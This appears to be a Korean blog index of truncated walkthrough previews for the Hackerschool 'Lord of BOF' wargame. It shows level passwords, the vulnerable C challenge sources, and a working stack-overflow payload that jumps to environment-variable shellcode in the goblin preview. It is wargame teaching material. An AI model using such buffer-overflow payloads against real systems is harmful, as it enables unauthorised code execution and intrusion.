목록System/The Lord of BOF (15)
SH1R0_HACKER
login : orc password : cantata [wolfman.c] /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("..
login : goblin password : hackers proof [ orc.c] /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still..
login : cobolt password : hacking exposed [ gobolt.c ] /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } 이것도 buffer 공간이 16byte로 적으니깐 환경변수써서 날리면 될거같다. 한번 해보자. [ GDB 분석 ] buffer와 ret거리 : 20byte 환경변수 주소 : 0xbffffc92 페이로드 (python -c 'print "\x90"*20+"\x92\xfc\xff\xbf"'; cat) | ./goblin cobolt 문제..
login : gremlin passworld : hello bof world [ cobolt.c ] /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } gremlin이랑 별 차이가 없어보인다. 다만 버퍼의 크기가 16byte로 쉘코드(25byte)를 넣을 수 있는 공간이 부족하다. 이럴 땐 환경변수의 메모리주소를 RET에 넣어 환경변수의 내용 (쉘코..
The Lord of BOF에 대한 자세한 정보는 아래에서 확인할 수 있습니다. [BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다. www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885 https://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885 [BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을..